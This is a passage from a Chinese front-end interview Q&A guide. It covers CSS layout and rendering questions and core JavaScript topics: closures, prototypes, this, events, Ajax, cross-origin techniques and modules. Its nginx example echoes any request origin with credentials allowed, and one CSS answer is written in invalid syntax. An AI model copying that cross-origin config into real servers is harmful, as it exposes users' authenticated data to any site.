将上述代码应用于你的 CSS 文件中,或者将其添加到你想要应用字体设置的元素的样式中,可以改善字体在 iOS 手机浏览器中的显示效果。注意,该属性只在 iOS Safari 浏览器中生效,在其他浏览器中可能没有效果。

# 87 font-style 属性 oblique 是什么意思

font-style: oblique; 是用来设置字体样式为倾斜(oblique)的。当字体本身没有提供 italic 斜体样式时,可以使用 oblique 属性来模拟倾斜效果。

倾斜样式是一种字体样式,使字体呈现为向右倾斜的外观,类似于斜体(italic)样式。不同之处在于,斜体样式是由字体设计师提供的专门的斜体字形,而倾斜样式是通过将正常字形倾斜来模拟出来的。

使用 font-style: oblique; 可以在没有专门提供斜体字形的字体上实现倾斜效果,但需要注意的是,由于是通过倾斜正常字形来模拟,所以结果可能不如专门设计的斜体字形效果好。

# 88 display:inline-block 什么时候会显示间隙

display: inline-block; 可能会在元素之间产生间隙的情况包括:

  1. 相邻的 inline-block 元素之间有换行或空格分隔时,会产生间隙。
  2. inline-block 的水平元素设置为 inline-block 时,会有默认的水平间距。
  3. 默认情况下,inline-block 元素的默认对齐方式是基线对齐,而不是顶部对齐,因此可能会产生垂直间隙。可以通过设置 vertical-align: top; 将元素顶部对齐来消除垂直间隙。
  4. 父元素的字体大小会影响 inline-block 元素的间隙。如果父元素设置了字体大小,可以将其设置为 font-size: 0;,然后在 inline-block 元素内部设置所需的字体大小,以消除垂直间隙。
  5. 将多个 li 标签写在同一行,可以消除垂直间隙,但这会导致代码可读性差。

这些方法可以用来解决 inline-block 元素之间产生的间隙问题。

# 89 一个高度自适应的div,里面有两个div,一个高度100px,希望另一个填满剩下的高度

  • 方案1:
    • .sub { height: calc(100%-100px); }
  • 方案2:
    • .container { position:relative; }
    • .sub { position: absolute; top: 100px; bottom: 0; }
  • 方案3:
    • .container { display:flex; flex-direction:column; }
    • .sub { flex:1; }

这三种方案都可以实现一个高度自适应的 div,其中一个子 div 高度为 100px,另一个子 div 填满剩下的高度。

  • 方案1使用了 calc() 函数来计算剩余高度,.sub 的高度设置为 calc(100% - 100px),即剩余高度。
  • 方案2使用了相对定位和绝对定位,父容器 .container 设置为相对定位,子 div .sub 设置为绝对定位,设置 top: 100px 让其距离顶部 100px,设置 bottom: 0 让其底部与父容器底部对齐。
  • 方案3使用了弹性布局(Flexbox),父容器 .container 设置为 display: flex,并指定 flex-direction: column 使其垂直排列。子 div .sub 使用 flex: 1 来填充剩余的空间,自动调整高度。

这些方案都可以实现相应的效果,具体选择哪种方案取决于实际需求和布局结构。

# 90 css 的渲染层合成是什么 浏览器如何创建新的渲染层

在 DOM 树中每个节点都会对应一个渲染对象(RenderObject),当它们的渲染对象处于相同的坐标空间(z 轴空间)时,就会形成一个 RenderLayers,也就是渲染层。渲染层将保证页面元素以正确的顺序堆叠,这时候就会出现层合成(composite`),从而正确处理透明元素和重叠元素的显示。对于有位置重叠的元素的页面,这个过程尤其重要,因为一旦图层的合并顺序出错,将会导致元素显示异常

在 CSS 中,渲染层合成(Layer Composition)是浏览器中用于处理页面元素的显示和堆叠顺序的机制。它通过创建新的渲染层(Render Layer)来管理页面中的元素,并确保它们以正确的顺序进行渲染和呈现。

浏览器创建新的渲染层的条件包括但不限于以下情况:

  1. 定位属性:元素具有 position: fixedposition: relativeposition: stickyposition: absolute 等定位属性时,会创建新的渲染层。
  2. 透明度和混合模式:元素的透明度设置小于 1(opacity: 0.5)或具有非 normal 的混合模式(mix-blend-mode: multiply)时,会创建新的渲染层。
  3. 3D 变换:元素具有 3D 变换(transform: translateZ(0))时,会创建新的渲染层。
  4. 滤镜效果:元素应用了滤镜效果(filter: blur(5px))时,会创建新的渲染层。
  5. 遮罩效果:元素应用了遮罩效果(mask-image: url(mask.png))时,会创建新的渲染层。
  6. CSS 动画:元素正在进行 CSS 动画(animationtransition)时,会创建新的渲染层。
  7. 其他因素:还有一些其他因素,如元素应用了 backface-visibility: hiddencolumn-count 不为 auto 等,也可能触发创建新的渲染层。

创建新的渲染层有助于确保页面元素以正确的顺序进行堆叠和渲染,并处理透明元素和重叠元素的显示。这对于具有位置重叠的页面元素尤为重要,因为合成层的顺序错误可能导致元素显示异常。通过创建新的渲染层,浏览器可以更好地管理元素的渲染和呈现,提高页面的性能和用户体验。

# 三、JavaScript相关

# 1 闭包

  • 闭包就是能够读取其他函数内部变量的函数

  • 闭包是指有权访问另一个函数作用域中变量的函数,创建闭包的最常见的方式就是在一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量,利用闭包可以突破作用链域

  • 闭包的特性:

    • 函数内再嵌套函数
    • 内部函数可以引用外层的参数和变量
    • 参数和变量不会被垃圾回收机制回收

说说你对闭包的理解

  • 使用闭包主要是为了设计私有的方法和变量。闭包的优点是可以避免全局变量的污染,缺点是闭包会常驻内存,会增大内存使用量,使用不当很容易造成内存泄露。在js中,函数即闭包,只有函数才会产生作用域的概念

  • 闭包 的最大用处有两个,一个是可以读取函数内部的变量,另一个就是让这些变量始终保持在内存中

  • 闭包的另一个用处,是封装对象的私有属性和私有方法

  • 好处:能够实现封装和缓存等;

  • 坏处:就是消耗内存、不正当使用会造成内存溢出的问题

使用闭包的注意点

  • 由于闭包会使得函数中的变量都被保存在内存中,内存消耗很大,所以不能滥用闭包,否则会造成网页的性能问题,在IE中可能导致内存泄露
  • 解决方法是,在退出函数之前,将不使用的局部变量全部删除

举出闭包实际场景运用的例子

  1. 比如常见的防抖节流
// 防抖
function debounce(fn, delay = 300) {
  let timer; //闭包引用的外界变量
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}
  1. 使用闭包可以在 JavaScript 中模拟块级作用域
function outputNumbers(count) {
  (function () {
    for (var i = 0; i < count; i++) {
      alert(i);
    }
  })();
  alert(i); //导致一个错误!
}
  1. 闭包可以用于在对象中创建私有变量
var aaa = (function () {
  var a = 1;
  function bbb() {
    a++;
    console.log(a);
  }
  function ccc() {
    a++;
    console.log(a);
  }
  return {
    b: bbb, //json结构
    c: ccc,
  };
})();
console.log(aaa.a); //undefined
aaa.b(); //2
aaa.c(); //3

# 2 说说你对作用域链的理解

  • 作用域链是一种用于查找变量和函数的机制,它是由当前执行环境和其所有父级执行环境的变量对象组成的链式结构。当在一个执行环境中访问变量或函数时,会首先在当前执行环境的变量对象中查找,如果找不到,则会沿着作用域链向上查找,直到找到对应的变量或函数,或者达到最外层的全局对象(如window)。
  • 作用域链的创建是在函数定义时确定的,它与函数的定义位置有关。当函数被调用时,会创建一个新的执行环境,其中包含一个新的变量对象,并将其添加到作用域链的前端。这样,函数内部就可以访问其所在作用域以及其外部作用域中的变量和函数,形成了一个作用域链。

以下是一个示例,展示了作用域链的工作原理:

function outer() {
  var outerVar = 'Outer variable';

  function inner() {
    var innerVar = 'Inner variable';
    console.log(innerVar); // 内部作用域的变量
    console.log(outerVar); // 外部作用域的变量
    console.log(globalVar); // 全局作用域的变量
  }

  inner();
}

var globalVar = 'Global variable';
outer();

在上述示例中,函数inner()内部可以访问到其外部函数outer()中定义的变量outerVar,这是因为inner()的作用域链中包含了外部函数的变量对象。同样,inner()也可以访问全局作用域中的变量globalVar,因为全局作用域也在作用域链中。

通过作用域链的机制,函数可以访问外部作用域中的变量,但外部作用域不能访问函数内部的变量,这就实现了变量的封装和保护。

值得注意的是,当函数执行完毕后,其执行环境会被销毁,对应的变量对象也会被释放,因此作用域链也随之消失。这也是闭包的概念中所提到的保持变量的生命周期的特性。

总结

  • 作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的
  • 简单的说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期

# 3 JavaScript原型,原型链 ? 有什么特点?

  • 每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问一个对象的属性时
  • 如果这个对象内部不存在这个属性,那么他就会去__proto__里找这个属性,这个__proto__又会有自己的__proto__,于是就这样一直找下去,也就是我们平时所说的原型链的概念。按照标准,__proto__ 是不对外公开的,也就是说是个私有属性
  • 关系:instance.constructor.prototype == instance.__proto__
// eg.
var a = {}

a.constructor.prototype == a.__proto__
  • 特点:

    • JavaScript对象是通过引用来传递的,我们创建的每个新对象实体中并没有一份属于自己的原型副本。当我们修改原型时,与之相关的对象也会继承这一改变
  • 当我们需要一个属性的时,Javascript引擎会先看当前对象中是否有这个属性, 如果没有的

  • 就会查找他的Prototype对象是否有这个属性,如此递推下去,一直检索到 Object 内建对象

  • 原型:

    • JavaScript的所有对象中都包含了一个 [__proto__] 内部属性,这个属性所对应的就是该对象的原型
    • JavaScript的函数对象,除了原型 [__proto__] 之外,还预置了 prototype 属性
    • 当函数对象作为构造函数创建实例时,该 prototype 属性值将被作为实例对象的原型 [__proto__]
  • 原型链:

    • 当一个对象调用的属性/方法自身不存在时,就会去自己 [__proto__] 关联的前辈 prototype 对象上去找
    • 如果没找到,就会去该 prototype 原型 [__proto__] 关联的前辈 prototype 去找。依次类推,直到找到属性/方法或 undefined 为止。从而形成了所谓的“原型链”
  • 原型特点:

    • JavaScript对象是通过引用来传递的,当修改原型时,与之相关的对象也会继承这一改变

# 4 请解释什么是事件代理

  • 事件代理(Event Delegation),又称之为事件委托。是 JavaScript 中常用绑定事件的常用技巧。顾名思义,“事件代理”即是把原本需要绑定的事件委托给父元素,让父元素担当事件监听的职务。事件代理的原理是DOM元素的事件冒泡。使用事件代理的好处是可以提高性能
  • 可以大量节省内存占用,减少事件注册,比如在table上代理所有tdclick事件就非常棒
  • 可以实现当新增子对象时无需再次对其绑定

下面是一个简单的事件代理的示例代码:

<ul id="myList">
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ul>
// 使用事件代理绑定点击事件
var myList = document.getElementById('myList');
myList.addEventListener('click', function(event) {
  if (event.target.tagName === 'LI') {
    console.log('Clicked on:', event.target.textContent);
  }
});

在上述示例中,我们将点击事件绑定到父元素 myList 上,当点击子元素 li 时,事件会冒泡到父元素,父元素上的事件处理函数会捕获到事件,并根据 event.target 来判断点击的具体元素。这样就实现了对子元素点击事件的代理处理。

使用事件代理的优势是可以减少事件处理程序的数量,尤其适用于大量的子元素或动态添加的元素,避免了为每个子元素都绑定事件处理程序的麻烦。同时,对于新增的子元素,无需再次绑定事件,它们会自动继承父元素上的事件处理。

需要注意的是,在事件代理中,我们需要通过 event.target 来判断具体触发事件的元素,从而执行相应的逻辑。

# 5 Javascript如何实现继承?

在 JavaScript 中,实现继承的方式有多种,包括构造继承原型继承实例继承拷贝继承等。其中,使用构造函数与原型混合方式是较常用和推荐的方式

以下是使用构造函数与原型混合方式实现继承的示例代码:

function Parent() {
  this.name = 'poetry';
}

function Child() {
  this.age = 28;
}

// 使用构造函数继承
Child.prototype = new Parent();
Child.prototype.constructor = Child;

var demo = new Child();
console.log(demo.age); // 输出: 28
console.log(demo.name); // 输出: poetry
console.log(demo.constructor); // 输出: Child

通过将 Child.prototype 设置为 new Parent(),子类 Child 继承了父类 Parent 的属性和方法。然后,通过手动将 Child.prototype.constructor 设置为 Child,确保子类的构造函数指向自身。

这样,demo.constructor 的输出将是 Child,表示 demo 实例的构造函数是 Child,以确保子类的实例通过 constructor 属性可以准确地识别其构造函数。

# 6 谈谈This对象的理解

  • 在全局作用域中this 指向全局对象(在浏览器环境中通常是 window 对象)。
  • 在函数中this 的值取决于函数的调用方式。
    • 如果函数是作为对象的方法调用,this 指向调用该方法的对象。
    • 如果函数是作为普通函数调用,this 指向全局对象(非严格模式下)或 undefined(严格模式下)。
    • 如果函数是通过 callapplybind 方法调用,this 指向 callapplybind 方法的第一个参数所指定的对象。
    • 如果函数是作为构造函数调用(使用 new 关键字),this 指向新创建的对象。
  • 在箭头函数中this 的值是继承自外部作用域的,它不会因为调用方式的改变而改变。

下面是一些示例代码,以说明 this 的不同情况:

// 全局作用域中的 this
console.log(this); // 输出: Window

// 对象方法中的 this
const obj = {
  name: 'poetry',
  sayHello: function() {
    console.log(`Hello, ${this.name}!`);
  }
};
obj.sayHello(); // 输出: Hello, poetry!

// 普通函数调用中的 this
function greeting() {
  console.log(`Hello, ${this.name}!`);
}
greeting(); // 输出: Hello, undefined (非严格模式下输出: Hello, [全局对象的某个属性值])

// 使用 call/apply/bind 改变 this
const person = {
  name: 'poetry'
};
greeting.call(person); // 输出: Hello, poetry!
greeting.apply(person); // 输出: Hello, poetry!
const boundGreeting = greeting.bind(person);
boundGreeting(); // 输出: Hello, poetry!

// 构造函数中的 this
function Person(name) {
  this.name = name;
}
const poetry = new Person('poetry');
console.log(poetry.name); // 输出: poetry

// 箭头函数中的 this
const arrowFunc = () => {
  console.log(this);
};
arrowFunc(); // 输出: Window

# 7 事件模型

事件流分为三个阶段:捕获阶段、目标阶段和冒泡阶段。

  1. 捕获阶段(Capture Phase):事件从最外层的父节点开始向下传递,直到达到目标元素的父节点。在捕获阶段,事件会经过父节点、祖父节点等,但不会触发任何事件处理程序。
  2. 目标阶段(Target Phase):事件到达目标元素本身,触发目标元素上的事件处理程序。如果事件有多个处理程序绑定在目标元素上,它们会按照添加的顺序依次执行。
  3. 冒泡阶段(Bubble Phase):事件从目标元素开始向上冒泡,传递到父节点,直到传递到最外层的父节点或根节点。在冒泡阶段,事件会依次触发父节点、祖父节点等的事件处理程序。

事件流的默认顺序是从目标元素的最外层父节点开始的捕获阶段,然后是目标阶段,最后是冒泡阶段。但是可以通过事件处理程序的绑定顺序来改变事件处理的执行顺序。

例如,以下代码演示了事件流的执行顺序:

<div id="outer">
  <div id="inner">
    <button id="btn">Click me</button>
  </div>
</div>
var outer = document.getElementById('outer');
var inner = document.getElementById('inner');
var btn = document.getElementById('btn');

outer.addEventListener('click', function() {
  console.log('Outer div clicked');
}, true); // 使用捕获阶段进行事件监听

inner.addEventListener('click', function() {
  console.log('Inner div clicked');
}, false); // 使用冒泡阶段进行事件监听

btn.addEventListener('click', function() {
  console.log('Button clicked');
}, false); // 使用冒泡阶段进行事件监听

当点击按钮时,事件的执行顺序如下:

  1. 捕获阶段:触发外层div的捕获事件处理程序。
  2. 目标阶段:触发按钮的事件处理程序。
  3. 冒泡阶段:触发内层div的冒泡事件处理程序。

输出结果为:

Outer div clicked
Button clicked
Inner div clicked

这个示例展示了事件流中捕获阶段、目标阶段和冒泡阶段的执行顺序。

可以通过addEventListener方法的第三个参数来控制事件处理函数在捕获阶段或冒泡阶段执行,true表示捕获阶段,false或不传表示冒泡阶段。

# 8 new操作符具体干了什么呢?

  • 创建一个空对象,并且 this 变量引用该对象,同时还继承了该函数的原型
  • 属性和方法被加入到 this 引用的对象中
  • 新创建的对象由 this 所引用,并且最后隐式的返回 this

实现一个简单的 new 方法,可以按照以下步骤进行操作:

  1. 创建一个新的空对象。
  2. 将新对象的原型链接到构造函数的原型对象。
  3. 将构造函数的作用域赋给新对象,以便在构造函数中使用 this 引用新对象。
  4. 执行构造函数,并将参数传递给构造函数。
  5. 如果构造函数没有显式返回一个对象,则返回新对象。
function myNew(constructor, ...args) {
  // 创建一个新的空对象
  const newObj = {};

  // 将新对象的原型链接到构造函数的原型对象
  Object.setPrototypeOf(newObj, constructor.prototype);

  // 将构造函数的作用域赋给新对象,并执行构造函数
  const result = constructor.apply(newObj, args);

  // 如果构造函数有显式返回一个对象,则返回该对象;否则返回新对象
  return typeof result === 'object' && result !== null ? result : newObj;
}

使用上述自定义的 myNew 方法,可以实现与 new 操作符类似的效果,如下所示:

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello, my name is ' + this.name);
};

var poetry = myNew(Person, 'poetry', 25);
console.log(poetry.name); // 输出: poetry
console.log(poetry.age); // 输出: 25
poetry.sayHello(); // 输出: Hello, my name is poetry

注意,这只是一个简化的实现,不考虑一些复杂的情况,例如原型链的继承和构造函数返回对象的情况。在实际应用中,建议使用内置的 new 操作符来创建对象实例,因为它处理了更多的细节和边界情况。

# 9 Ajax原理

  • Ajax的原理简单来说是在用户和服务器之间加了—个中间层(AJAX引擎),通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面。使用户操作与服务器响应异步化。这其中最关键的一步就是从服务器获得请求数据
  • Ajax的过程只涉及JavaScriptXMLHttpRequestDOMXMLHttpRequestajax的核心机制
// 手写简易ajax
/** 1. 创建连接 **/
var xhr = null;
xhr = new XMLHttpRequest()
/** 2. 连接服务器 **/
xhr.open('get', url, true)
/** 3. 发送请求 **/
xhr.send(null);
/** 4. 接受请求 **/
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if(xhr.status == 200){
			success(xhr.responseText);
		} else { 
			/** false **/
			fail && fail(xhr.status);
		}
	}
}
// promise封装
function ajax(url) {
  const p = new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    xhr.open('GET', url, true)
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          resolve(
            JSON.parse(xhr.responseText)
          )
        } else if (xhr.status === 404 || xhr.status === 500) {
          reject(new Error('404 not found'))
        }
      }
    }
    xhr.send(null)
  })
  return p
}
// 测试
const url = '/data/test.json'
ajax(url)
  .then(res => console.log(res))
  .catch(err => console.error(err))

ajax 有那些优缺点?

  • 优点:
    • 通过异步模式,提升了用户体验.
    • 优化了浏览器和服务器之间的传输,减少不必要的数据往返,减少了带宽占用.
    • Ajax在客户端运行,承担了一部分本来由服务器承担的工作,减少了大用户量下的服务器负载。
    • Ajax可以实现动态不刷新(局部刷新)
  • 缺点:
    • 安全问题 AJAX暴露了与服务器交互的细节。
    • 对搜索引擎的支持比较弱。
    • 不容易调试。

# 10 如何解决跨域问题?

首先了解下浏览器的同源策略 同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSSCSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源

1. 通过jsonp跨域

封装一个可用的 JSONP 方法,可以参考以下示例代码:

function jsonp(url, params, callback) {
  // 生成唯一的回调函数名
  const callbackName = 'jsonp_' + Date.now();

  // 将参数拼接到 URL 中
  const queryString = Object.keys(params)
    .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(params[key]))
    .join('&');

  // 创建 script 元素
  const script = document.createElement('script');
  script.src = url + '?' + queryString + '&callback=' + callbackName;

  // 定义回调函数
  window[callbackName] = function(data) {
    // 调用回调函数
    callback(data);

    // 删除 script 元素和回调函数
    document.head.removeChild(script);
    delete window[callbackName];
  };

  // 将 script 元素添加到页面中
  document.head.appendChild(script);
}

使用示例:

jsonp('http://www.example.com/api', { user: 'admin' }, function(data) {
  console.log(data);
});

这个 jsonp 函数接受三个参数:URL、参数对象和回调函数。它会生成一个唯一的回调函数名,并将参数拼接到 URL 中。然后创建一个 <script> 元素,并将 URL 设置为带有回调函数名的 URL。定义一个全局的回调函数,当响应返回时调用该回调函数,并将数据传递给回调函数。最后将 <script> 元素添加到页面中,触发跨域请求。当请求完成后,删除 <script> 元素和回调函数。

这样,你就可以通过封装的 JSONP 方法来实现跨域请求并获取响应数据了。

2. document.domain + iframe跨域

Chrome 101 版本开始,document.domain 将变为可读属性,也就是意味着上述这种跨域的方式被禁用了

此方案仅限主域相同,子域不同的跨域应用场景

1.)父窗口:(http://www.domain.com/a.html)

<iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
<script>
    document.domain = 'domain.com';
    var user = 'admin';
</script>

2.)子窗口:(http://child.domain.com/b.html)

document.domain = 'domain.com';
// 获取父窗口中的变量
alert('get js data from parent ---> ' + window.parent.user);

3. nginx代理跨域

通过 Nginx 配置反向代理,将跨域请求转发到同源接口,从而避免浏览器的同源策略限制。

下面是一个示例配置,展示了如何通过 Nginx 实现跨域代理:

server {
  listen 80;
  server_name your-domain.com;

  location /api {
    # 设置代理目标地址
    proxy_pass http://api.example.com;
    
    # 设置允许的跨域请求头
    add_header Access-Control-Allow-Origin $http_origin;
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
    add_header Access-Control-Allow-Credentials true;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    
    # 处理预检请求(OPTIONS 请求)
    if ($request_method = OPTIONS) {
      return 200;
    }
  }
}

在上面的示例中,假设你的域名是 your-domain.com,需要代理访问 api.example.com。你可以将这个配置添加到 Nginx 的配置文件中。

这个配置会将 /api 路径下的请求代理到 http://api.example.com。同时,通过添加 Access-Control-Allow-* 头部,允许跨域请求的来源、方法、头部等。

这样,当你在前端发送请求到 /api 路径时,Nginx 会将请求代理到 http://api.example.com,并在响应中添加跨域相关的头部,从而解决跨域问题。注意要根据实际情况进行配置,包括监听的端口、域名和代理的目标地址等。

4. nodejs中间件代理跨域

使用 Node.js 构建一个中间件,在服务器端代理请求,将跨域请求转发到同源接口,然后将响应返回给前端。

可以使用 http-proxy-middleware 模块来创建一个简单的代理服务器。下面是一个示例代码:

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// 创建代理中间件
const apiProxy = createProxyMiddleware('/api', {
  target: 'http://api.example.com', // 设置代理目标地址
  changeOrigin: true, // 修改请求头中的 Origin 为目标地址
  pathRewrite: {
    '^/api': '', // 重写请求路径,去掉 '/api' 前缀
  },
  // 可选的其他配置项...
});

// 将代理中间件应用到 '/api' 路径
app.use('/api', apiProxy);

// 启动服务器
app.listen(3000, () => {
  console.log('Proxy server is running on port 3000');
});

在上面的示例中,首先使用 express 框架创建一个服务器实例。然后,使用 http-proxy-middleware 模块创建一个代理中间件。通过配置代理中间件的 target 选项,将请求代理到目标地址 http://api.example.com

你可以通过其他可选的配置项来进行更多的定制,例如修改请求头、重写请求路径等。在这个示例中,我们将代理中间件应用到路径 /api 下,即当请求路径以 /api 开头时,会被代理到目标地址。

最后,启动服务器并监听指定的端口(这里是 3000)。

请确保你已经安装了 expresshttp-proxy-middleware 模块,并将上述代码保存为一个文件(例如 proxy-server.js)。然后通过运行 node proxy-server.js 来启动代理服务器。

现在,当你在前端发送请求到 /api 路径时,Node.js 代理服务器会将请求转发到 http://api.example.com,从而实现跨域访问。记得根据实际情况修改目标地址和端口号。

5. 后端在头部信息里面设置安全域名

后端可以在响应的头部信息中设置 Access-Control-Allow-Origin 字段,指定允许跨域访问的域名。例如,在 Node.js 中可以使用 cors 模块来实现:

const express = require('express');
const cors = require('cors');

const app = express();

// 允许所有域名跨域访问
app.use(cors());

// 其他路由和逻辑处理...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

6. 通过webpack devserver代理

使用 webpack-dev-server 的代理功能可以实现在开发过程中的跨域请求。你可以配置 devServer 对象中的 proxy 选项来设置代理。下面是一个示例配置:

module.exports = {
  // 其他配置项...
  devServer: {
    proxy: {
      '/api': {
        target: 'http://api.example.com', // 设置代理目标地址
        pathRewrite: { '^/api': '' }, // 重写请求路径,去掉 '/api' 前缀
        changeOrigin: true, // 修改请求头中的 Origin 为目标地址
      },
    },
  },
};

在上面的示例中,我们配置了一个代理,将以 /api 开头的请求转发到 http://api.example.com。通过 pathRewrite 选项,我们去掉了请求路径中的 /api 前缀,以符合目标地址的接口路径。

将上述配置添加到你的 webpack.config.js 文件中,然后启动 webpack-dev-server。现在,当你在前端发送以 /api 开头的请求时,webpack-dev-server 会将请求转发到目标地址,并返回响应结果。

注意,这里的配置是针对开发环境下的代理,当你构建生产环境的代码时,代理配置不会生效。

请确保你已经安装了 webpack-dev-server,并在你的 package.json 文件的 scripts 中添加启动命令,例如:

{
  "scripts": {
    "start": "webpack-dev-server --open"
  }
}

运行 npm startyarn start 来启动 webpack-dev-server

这样,通过配置 webpack-dev-server 的代理,你就可以在开发过程中实现跨域请求。记得根据实际情况修改目标地址和请求路径。

7. CORS(跨域资源共享)

在服务端设置响应头部,允许特定的域名或所有域名访问该资源。可以通过在响应头部中设置 Access-Control-Allow-Origin 字段来指定允许访问的域名。

示例代码(Node.js + Express):

const express = require('express');
const app = express();

// 允许所有域名访问
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  next();
});

// 路由和处理逻辑
// ...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

8. WebSocket

使用 WebSocket 协议进行通信,WebSocket 不受同源策略限制,因此可以在不同域之间进行双向通信。

示例代码(JavaScript):

const socket = new WebSocket('ws://example.com/socket');

socket.onopen = () => {
  console.log('WebSocket connection established.');
  // 发送数据
  socket.send('Hello, server!');
};

socket.onmessage = (event) => {
  console.log('Received message from server:', event.data);
};

socket.onclose = () => {
  console.log('WebSocket connection closed.');
};

9. 代理服务器

在同一域名下,前端通过发送请求给同域下的代理服务器,然后由代理服务器转发请求到目标服务器,并将响应返回给前端,实现跨域请求。

示例代码(Node.js + Express):

const express = require('express');
const axios = require('axios');
const app = express();

app.get('/api/data', (req, res) => {
  // 向目标服务器发送请求
  axios.get('http://api.example.com/data')
    .then((response) => {
      // 将目标服务器的响应返回给前端
      res.json(response.data);
    })
    .catch((error) => {
      res.status(500).json({ error: 'An error occurred' });
    });
});

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

# 11 模块化开发怎么做?

当涉及模块化开发时,有多种方法可供选择:

1. 立即执行函数模式:

  • 使用立即执行函数来创建模块,将私有成员放在函数作用域内,不直接暴露给外部。
  • 通过返回一个包含公共方法的对象,使这些方法可以在外部访问。
var module = (function() {
  var privateVar = 'Private Variable';

  function privateMethod() {
    console.log('This is a private method');
  }

  function publicMethod() {
    console.log('This is a public method');
  }

  return {
    publicMethod: publicMethod
  };
})();

module.publicMethod(); // Output: This is a public method

2. CommonJS:

  • 使用 require 导入模块,使用 module.exportsexports 导出模块。
  • 适用于 Node.js 环境。
// math.js
function add(a, b) {
  return a + b;
}

function subtract(a, b) {
  return a - b;
}

module.exports = {
  add,
  subtract
};
// app.js
const math = require('./math');

console.log(math.add(2, 3)); // Output: 5
console.log(math.subtract(5, 2)); // Output: 3

3. ES Modules:

  • 使用 import 导入模块,使用 export 导出模块。
  • 适用于现代浏览器环境和支持 ES6 模块的工具链。
// math.js
export function add(a, b) {
  return a + b;
}

export function subtract(a, b) {
  return a - b;
}
// app.js
import { add, subtract } from './math';

console.log(add(2, 3)); // Output: 5
console.log(subtract(5, 2)); // Output: 3

4. AMD(Asynchronous Module Definition):

  • 使用 define 定义模块,通过异步加载模块。
  • 适用于浏览器环境和需要按需加载模块的场景。
// math.js
define([], function() {
  function add(a, b) {
    return a + b;
  }

  function subtract(a, b) {
    return a - b;
  }

  return {
    add,
    subtract
  };
});
// app.js
require(['math'], function(math) {
  console.log(math.add(2, 3)); // Output: 5
  console.log(math.subtract(5, 2)); // Output: 3
});

以上是常见的模块化开发方式,每种方式都有自己的特点和使用场景,可以根据具体需求选择适合的模块化规范。

# 12 异步加载JS的方式有哪些?

你提到的异步加载 JS 的方式都是常见且有效的方法。以下是对每种方式的简要介绍:

1. 设置<script>属性 async="async"

  • 通过将async属性设置为"async",脚本将异步加载并立即执行,不会阻塞页面的解析和渲染。
  • 脚本加载完成后,将在页面中的任何位置立即执行。
<script src="script.js" async="async"></script>

2. 动态创建 script DOM

  • 使用 JavaScript 动态创建 <script> 元素,并将其添加到文档中。
  • 通过设置 src 属性指定脚本的 URL,异步加载脚本。
var script = document.createElement('script');
script.src = 'script.js';
document.head.appendChild(script);

3. XmlHttpRequest 脚本注入:

  • 使用 XmlHttpRequest 对象加载脚本内容,并将其注入到页面中。
  • 通过异步请求获取脚本内容后,使用 eval() 函数执行脚本。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onreadystatechange = function() {
 if (xhr.readyState === 4 && xhr.status === 200) {
   eval(xhr.responseText);
 }
};
xhr.send();

4. 异步加载库 LABjs

  • LABjs 是一个用于异步加载 JavaScript 的库,可以管理和控制加载顺序。
  • 它提供了简洁的 API 来定义和加载依赖关系,以及控制脚本加载的时机。
$LAB
 .script('script1.js')
 .wait()
 .script('script2.js');

5. 模块加载器 Sea.js

  • Sea.js 是一个用于 Web 端模块化开发的加载器,可以异步加载和管理模块依赖关系。
  • 它支持异步加载 JavaScript 模块,并在模块加载完成后执行回调函数。
seajs.use(['module1', 'module2'], function(module1, module2) {
 // 执行依赖模块加载完成后的逻辑
});

6. Deferred Scripts(延迟脚本):

  • 使用 <script> 元素的 defer 属性可以将脚本延迟到文档解析完成后再执行。
  • 延迟脚本会按照它们在文档中出现的顺序执行,但在 DOMContentLoaded 事件触发之前执行。
<script src="script.js" defer></script>

7. Dynamic Import(动态导入):

  • 使用动态导入语法 import() 可以异步加载 JavaScript 模块。
  • 这种方式返回一个 Promise 对象,可以通过 then() 方法处理模块加载完成后的逻辑。
import('module.js')
 .then(module => {
   // 执行模块加载完成后的逻辑
 })
 .catch(error => {
   // 处理加载失败的情况
 });

8. Web Workers(Web 工作者):

  • Web Workers 是运行在后台线程中的 JavaScript 脚本,可以进行耗时操作而不会阻塞主线程。
  • 可以使用 Web Workers 异步加载和执行 JavaScript 脚本,以提高页面的响应性。
var worker = new Worker('worker.js');
worker.onmessage = function(event) {
 // 处理从 Worker 返回的消息
};
worker.postMessage('start');

# 13 那些操作会造成内存泄漏?

JavaScript 内存泄露指对象在不需要使用它时仍然存在,导致占用的内存不能使用或回收

  • 未使用 var 声明的全局变量
  • 闭包函数(Closures)
  • 循环引用(两个对象相互引用)
  • 控制台日志(console.log)
  • 移除存在绑定事件的DOM元素(IE)
  • setTimeout 的第一个参数使用字符串而非函数的话,会引发内存泄漏
